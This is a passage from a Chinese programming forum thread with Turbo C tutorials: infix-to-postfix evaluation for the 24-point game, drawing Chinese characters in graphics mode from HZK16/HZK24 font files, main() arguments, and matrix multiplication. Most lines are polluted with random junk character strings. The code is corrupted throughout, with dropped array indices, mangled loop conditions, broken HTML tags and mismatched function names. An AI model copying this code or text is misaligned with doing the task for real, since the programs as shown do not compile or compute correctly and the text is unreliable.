1 W" \2 L* S: H9 G  下面给出转换和计算的具体实现程序——
3 g3 R3 J! H0 I' G4 r2 b  C, k' E3 {+ E3 e9 }5 j
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */4 M, y1 G2 F8 x& Z
int first(char c)
  |4 h# h, L6 d4 Q0 a1 M  Q: v{ int p;
# a6 T: R  p2 h& a0 ~: f' @7 Gswitch(c)
# ?# q7 X3 q+ ?& D$ R{ case '*': p=2; break;
" U+ y5 ]) v; z& E6 K8 |case '/': p=2; break;
, L$ i; ^" t, _, y7 `case '+': p=1; break;% }6 w' k, K( ?4 e6 `; f2 Q9 A
case '-': p=1; break;/ A8 p7 Q+ s) H9 H1 L& G' H3 D
case '(': p=0; break;/ f2 Y8 w  b9 D" Y
case '=': p=-1; break;1 f8 s, D& S9 N2 c! Z
}7 @4 l4 e8 @3 D! c' Q, C
return(p);
, D# F+ a8 ]" X  S9 O4 E$ a5 q& }( @}
/ M- L, e9 T5 i' S. ~/* 此函数实现中缀到后缀的转换 */
( s4 W: t# _# j8 I$ R/* M的值宏定义为20 */
1 F, \5 j: H$ H! U* H/* sp[]为表达式数组 */
+ _5 _3 \- }, \1 {6 Oint mid_last()
7 f' M5 x' F# t" g& c; d{ int i=0,j=0; char c,sm[M];+ n! v# [; G; k& b! x
c=s[0]; sm[0]='='; top=0;
% J2 y! c% ?$ Z+ G0 \while(c!='\0')
2 |1 u$ D4 W: X# H: l  c{ if(islower(c)) sp[j++]=c;2 S+ I$ R4 @3 ~2 ^. u
else switch(c)
* I( z: _* v. L' B0 w3 B{ case '+':
# O9 }6 R% I/ C8 H4 A7 v3 Q. X+ Ucase '-':
7 L5 V9 |: L  Ccase '*':
/ h7 s. S+ t5 H9 X* wcase '/': while(first(c)&lt;=first(sm[top]))5 f" i# q+ a' }% I4 p) j; `
sp[j++]=sm[top--];
8 N& G: O7 H) Asm[++top]=c; break;
  m3 F( N  w3 Vcase '(': sm[++top]=c; break;
3 t" q) z8 a$ B! L& T& W7 pcase ')': while(sm[top]!='(')
% f  |2 w9 @2 Q7 R  t) S: `5 Usp[j++]=sm[top--];
# ~/ p5 [, V% c5 |, b: E. H( Xtop--; break;
1 R3 B, B3 [0 j$ X$ j) pdefault :return(1);% S) D9 H) _4 x# @1 ]' l
}
. u8 O% I& @* O6 ~c=s[++i];: x. {0 ^, n& }; h/ f
}
; \8 ~+ t( L) n0 iwhile(top&gt;0) sp[j++]=sm[top--];
, Q  {! m0 m% m7 b9 }( Bsp[j]='\0'; return(0);/ T% c% y- e! w- d  w' [! z. F8 v
}. P8 ^* i. k/ {. @' P1 W0 z
/* 由后缀表达式来计算表达式的值 */; M  \1 z, x# L1 }
int calc()4 \# m3 Z/ i  C/ C$ v
{ int i=0,sm[M],tr; char c;
" @: S6 i2 S; l9 _& k$ u  a6 `c=sp[0]; top=-1;
, B. K4 E* }: o, o  ewhile(c!='\0')0 ^  k# c% O& q& i" N4 ~8 `8 q
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
9 k! o* b* M9 k  N. N这样才可以更方便的处理非一位数, . c$ }: O, I: Y: y" j# j
ver数组中存放着这些字母所代替的数*/8 n$ ^. Z. W9 V, Q' \
else switch(c)  `; X! M7 w: \0 N7 e) h5 e4 y! r
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
" p2 N/ K; ^: Y* g1 i( N' C* kcase '-': tr=sm[top--]; sm[top]-=tr; break;9 [. k0 u" ^' q" A% `" [6 ]$ |
case '*': tr=sm[top--]; sm[top]*=tr; break;
( M# A5 C7 f4 Bcase '/': tr=sm[top--];sm[top]/=tr;break;1 t3 d2 k8 o. `3 X2 x; C
default : return(1);
) w4 E( `& X% z% _3 Y}3 A3 r* B; a" N- P( p. Y
c=sp[++i];, b  q- O* w' d  @
}! s. n, w; B, {
if(top&gt;0) return(1);
. \# P% S. {4 }else { result=sm[top]; return(0); }8 S' T* j$ A- E) ?; O
}
  x0 Q: V# \: X* O1 r) D5 M9 j</FONT>
. c( Q% V! Q3 i5 b- T* [  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
5 |. a" N; N. r9 _6 J2 Z2 D7 `4 _, s* Q
  最后我总结了一下这其中容易出错的地方——# m4 B. K" s# F

: o' i/ U9 Z3 e+ [7 V3 m  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。+ E/ f/ i5 p" \) P) w
, x! D2 {$ T2 Z  Q& n' O* i
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。/ }/ s+ ]$ H9 R& x* T3 P7 Y. y) c

* e) j% \- a) r+ O2 t& {5 B  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 & f; s0 \) _! E4 ^! ~

( r$ J* n  g% h4 |! M. a* h  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
& i, N$ G8 |$ j+ D# f0 M
* Z8 l. P) L+ C% H: ]) t  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
( m- ?0 X2 a/ h" ^* G# y1 T7 [7 t1 \' q4 M( y- ?& s
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
5 E* N3 j, }2 q6 r/ s" d( b9 @# Y$ `3 m* @( P! s$ m$ u
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。1 M) r% G: }9 _1 Z# v. D9 [
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>5 }5 W: E5 g2 P' D; A. a+ ?/ k
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}; P4 W+ v% _& J
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。' Z# |4 U& c. {- o
  汉字显示的第一步是打开字库文件。 $ ?3 N+ b  I- n. x3 v
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
9 q- o% X$ G6 T" T; E1 }  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)( u2 V3 `, a7 X" J8 G5 w
{
8 G, ~& Q$ G; T" u( c, _unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
0 Q6 C# s( b" e3 ?: }) yint rec,i1,i2,i3; /*z:space between;*/
* g) p! R2 C% _long l; /*color:txt color*/
$ |- w0 l6 ?" _$ F7 T1 Dchar by[32]; /*p:HZ str*/1 M$ @8 k2 C0 r- ~
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
$ L3 R; X5 ]* C! Jif(i&gt;0xa1)
  G, h. L9 y! [( k4 W4 |% i4 Dif(f==0){
8 H+ C- n1 _+ n/ Qc1=(i-0xa1)&amp;0x07f;: b% ]* D! s( |. v1 L) _9 J1 `
f=1;4 z1 E6 K. `0 K4 a0 S
}
0 H+ \6 h" O: S3 g1 w4 d3 T$ velse{
& V2 t3 f0 I; f6 E# ac2=(i-0xa1)&amp;0x07f;# k9 H8 {) E9 O4 T' K( L
f=0;
* U' T3 F% n9 K4 P' l8 s! I+ Krec=c1*94+c2;  |! K3 A; B, s6 c6 c/ w5 n
l=rec*32L;
7 i+ E( M! q* a9 Klseek(handle,l,SEEK_SET);
( W) \7 o- ?& i6 g+ wread(handle,by,32);
; }6 V3 l/ L! Bfor(i1=0;i1&lt;16;i1++)1 i" d+ x+ j' [! C$ ^6 s6 E7 n
for(i2=0;i2&lt;2;i2++)
+ H' |. M: {; U0 T+ }for(i3=0;i3&lt;8;i3++)- n" H, p6 W/ x* I# Y- d8 V. I
if(GetBit(by[i1*2+i2],7-i3))
. L! \7 L9 e6 [putpixel(x+i2*8+i3,y+i1,color);
8 e1 i' n6 F9 tx=x+z+16;
  {8 ]9 {4 V$ g# w}
. ?% h# V, R/ H$ j% Y5 J}) A$ l2 c* W- _8 F5 h$ D
return(x);
( s: [3 W: p4 x" S5 u0 s}
) J2 I) M& s- j) W1 [0 _函数GetBit定义如下:+ g8 r0 b. A, y4 T7 q3 t
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。( i% X& F6 D5 ]+ ~
int GetBit(unsigned char c,int n)
/ v5 {6 _7 Z1 K7 G  n) d{
7 g4 T. R7 M% W/ T" i" }% a9 |return((c&gt;&gt;n)&amp;1);
3 ?( w7 z+ z$ E2 @}
2 ]' G; J" f7 j# p+ \汉字显示结束,应该关闭字库文件。- v$ s$ g# E6 K1 r, c' U# d
void CloseHz(void)
$ M1 A. k; G4 i8 a{( E$ C" a* J; r* q# d
close( handle );
1 p/ X6 [5 Q+ [}6 A4 ~+ z" X2 a3 d9 ~" s$ L
#include "\Caic\Include\Hz.h"5 V$ J* ^# A/ k( {; B  E# U
#include <GRAPHICS.H>
/ ]1 `& x% t3 o- W" @#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
/ N1 o6 J3 n/ i: J+ Y- iconst char* HzStr = "苦丁香C语言辅助学习软件";
' F: g4 X6 v( u* d, `void main(){! w0 w3 N6 v+ w' w: j: s/ m* R
int gr=DETECT,gm;) z, Q& m+ ?6 }0 ~* w$ O" J
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
1 ?7 |" ?# U/ _4 M2 ?OpenHz( Hz16Path );8 T+ H$ Z9 P) \( d& Q/ k
Wrt16Hz(20,20,4,RED,HzStr);# B' b5 o! q7 l
CloseHz();9 X8 h. k, \0 U3 b- z0 P& [
getch();
: N0 B/ Y, ~+ K* o/ sclosegraph();
7 _! Z6 H  x+ e- F2 t}显示24点阵及放大汉字5 J) ?% R0 M# J! t
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。: u3 O8 @8 L5 G# q# }" f
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
3 W' l- n4 _; m5 R- V; Xint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
2 y0 T& L" Q, w{
) w0 u7 f9 ^( s& d: V" G% Dunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/1 s( M0 W/ d5 _- _/ R
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
7 F7 X: s% Z- w0 V4 E, Ylong l; /*color:汉字颜色*/( g7 G" i/ k5 J2 O, V
char by[72]; /*m: x 方向的放大倍数*/
; K# v! F/ ^$ B# k9 w, a/*n: y 方向的放大倍数*/8 `7 ^, _2 [$ ^/ t) Z
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
9 D# g( S6 b& K1 W' ]0 lif(i&gt;0xa1)
# B0 O% M$ D5 N3 C4 j. l6 k* ?if(f==0){+ X7 n' R1 ]) e. p2 {, {
c1=(i-0xa1)&amp;0x7f;
: G* B2 D; {2 }f=1;
" C; x3 X5 @  }9 [0 _) ]! _}
9 J/ J# ~, ~2 V* kelse{! \% h# i! t& w
c2=(i-0xa1)&amp;0x7f;5 _7 \( k+ ?2 |' s0 C8 g- R! f
f=0;' `  z# g2 d: Q4 P  [
rec=(c1-15)*94+c2;; X+ q. w- P; F; y
l=rec*72L;8 J) ^8 \% o: I) v, u9 U5 i4 d
lseek(handle,l,SEEK_SET);
0 N2 |! P  d/ V9 M7 Q7 dread(handle,by,72);
0 C& a2 J9 {: ~8 N/ d! o: Gfor(i1=0;i1&lt;24*m;i1=i1+m)
/ Y5 s# k2 o8 r1 I, ~* q/ I1 Pfor(i4=0;i4<M;I4++)) D" v2 N* ~7 H$ C. z3 Y. j- I
for(i2=0;i2&lt;=2;i2++)! k- \' q$ J- m( g- ?+ m0 v% ?) Y
for(i3=0;i3&lt;8;i3++)
" L0 O7 c& Y& x9 c5 ~if(GetBit(by[i1/m*3+i2],7-i3))( Y& R3 K0 f. Z3 ?1 r  Q3 k
for(i5=0;i5<N;I5++)/ f* ^- X# T3 f7 p
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
0 {( z# {, ]. ]  {  A2 K: X7 wx=x+24*m+z;. D, P/ P; x+ y
}
) _+ i8 b5 \" |3 W& c- X0 [}
% q1 D5 `- g) Freturn(x);, ]6 M0 p0 _* M5 c3 B
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"/ H. f3 w1 ^) r
#include <GRAPHICS.H>
) Z5 v4 _" u0 _" `#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."& B" [& Y) L$ v5 r% E% ?8 G: S
const char* HzStr = "苦丁香C语言辅助学习软件";" t1 ]5 }( `8 |
void main(){. O8 Z$ e3 e3 j/ A0 I0 j" J
int gr=DETECT,gm;8 n- t* n, D7 u3 Z9 P! N. f' i
initgraph(&amp;gr,gm,"\\Caic\\Bgi");; a0 D! {9 R) e2 h& t" D- o
OpenHz( Hz24Path );6 s9 p8 B! {2 [6 k
Wrt24Hz(20,20, /*先是在(x,y)*/! O- Y3 v9 g# U
4, /*汉字间的空格为4*/: M1 F3 L) c( L4 J$ S
RED, /*用红色显示*/6 ?. x) O3 B2 r% I6 o
2, /*x 方向放大2倍*/4 V8 n6 ?$ _4 o) J$ }& e
4, /*y 方向放大4倍*/
+ G# F; v5 W& Y  U! v8 MHzStr); /*显示字符串*/, j+ t, E+ a" w* h
CloseHz();7 K8 d! u3 X; o, V% q
getch();
3 x/ D5 K3 w+ Nclosegraph();/ Z9 [% k. E- ^. c1 L
}
; h* ]$ a  J. d" {" b; i2 N</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
; ~0 s, ?* P/ O  e" F  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
  r  U5 i+ w6 j( I2 G1. main() 参数, d# c6 R% e& }/ B4 C
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。, T2 H) B; u# g2 g5 H5 J
  * argc: 整数,为传给main()的命令行参数个数。
: C/ I; D2 @  o& v$ F  * argv: 字符串数组。
) z" ~1 D4 ]& v! Q/ _9 h在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;% J' n$ g! v3 B% k! g
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;& h1 `6 _: \- ?3 x% Q
...
8 v$ x8 V) |* h6 hargv[argc]为NULL。0 u- d/ S: C4 G; Q) {# R* c
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应: l: C& v: l. \1 p; i
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/+ a  c4 z# _' E! X) g
#include&lt;stdio.h&gt;
6 D& ^- b% F: a4 y+ v0 D#include&lt;conio.h&gt;
4 @) T9 D! ^4 l#define X 3
6 |/ V" i# @/ c+ G' j7 y#define Y 3</P><>int a[X][Y];3 ~# k/ g- Z( L& |
int b[X][Y];
6 W2 I( z1 ?# _+ ^( hint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);8 d( f( F5 G. p
main()6 s' ]- u$ g5 h5 L% n: n6 I
{% {, N! N' ~( r) V) @
int i,j,temp;
) Q4 U9 [* H, j- ^- t; J, `. |clrscr();6 F3 V( u% s" m( t7 m
printf("lease input int matrix b[%d][%d]\n",X,Y);$ q; w! E# O3 }* l6 u6 T
for(i=0;i&lt;Y;i++)
, P2 }* O6 v/ d2 F% l, tfor(j=0;j&lt;Y;j++){
# ~7 d! t1 ?3 A( i* Yscanf("%d",&amp;temp);& p1 A2 S& Q4 z$ X& H% g' d
b[j]=temp;
5 Q, j# Z0 k  H* y}
/ A( a3 I8 Q0 o* k% ?' [9 iprintf("lease input int matrix c[%d][%d]\n",X,Y);
: s* Q+ V% b  A3 o+ K) T' @/ L' V2 b/ ffor(i=0;i&lt;X;i++)
, X  {" o" t4 \$ R) C* bfor(j=0;j&lt;Y;j++){8 p/ X; ?7 o( O6 L- l
scanf("%d",&amp;temp);
  U$ g' s; J7 {% ?" q8 Z4 p7 kc[j]=temp;
& c+ x) G  v/ B}
; e2 X  v8 j/ o) `% Jmatrix(b,c);
( p; K  N' `4 i" a7 @8 E$ Bprintf("Now print resource matrix b[%d][%d]=",X,Y);
  w3 s# ^& `4 F: D: I) ]for(i=0;i&lt;X;i++){0 w: F. c/ J1 w. U( k  T1 J
printf("\n");" T. h# |8 Y) h& b0 J
for(j=0;j&lt;Y;j++)$ j8 I. J6 a* e: D
printf("%d ",b[j]);* B* Z3 i) S1 P
}
& H% s2 u3 l% t  Sprintf("\n");
- J5 F* j  |8 W: \* Pprintf("Now print resource matrix c[%d][%d]=",X,Y);
) k% g3 T: y4 m8 t! [$ k& J: p, {) @, T& Ifor(i=0;i&lt;X;i++){
% a* N3 S. s& D+ f# _9 Nprintf("\n");- S- X6 h8 ]# {+ ~* p* X
for(j=0;j&lt;Y;j++)
  g/ P( x3 L/ U# tprintf("%d ",c[j]);/ Y8 V$ j0 M. b) r
}
% _2 }. W' O1 O/ j. h) Cprintf("\n");8 W8 C! ?. \3 Y3 c: c2 h' ~1 R" p
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);- l) s9 H& Z5 m: t
for(i=0;i&lt;X;i++){
; d  u, `8 [) v& q6 u. ?! K5 K& Zprintf("\n");% F' |& p  c# u$ t4 M  u* }$ x
for(j=0;j&lt;Y;j++)
* y  M0 K; w0 c* j% C4 b) o" mprintf("%d ",a[j]);
* k9 X8 g5 K8 X& x. i2 t}4 l# W% X. A! m9 {. \
getch();) j( }. m# p% l# I" @
return 0;( ~& Q* k. |( H" k8 w/ A( \# d
}
  s" Q3 x( j0 z# m* @/********************************************************************/
; [1 R' v* j# C- Ivoid matrix(int b[][X],int c[][Y])
8 W) L2 V! T3 Z" ~7 C# G4 S2 C4 r{
! w' _( O5 J2 A# {- v, }2 `int i,j,k,temp;
/ R2 l9 J/ ?9 l- cfor(i=0;i&lt;X;i++)
; L% g: g5 [& `& p# F0 a- Afor(j=0;j&lt;Y;j++){. ^2 d- }( @3 l/ i
for(k=0;k&lt;Y;k++)
' Q9 @- ?& T0 }) Qa[j]+=b[k]*c[k][j];
. n" ^  Y/ ]3 i}& ^4 [0 I1 `; ]$ ^
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-9-4 03:06 , Processed in 0.520341 second(s), 90 queries .

回顶部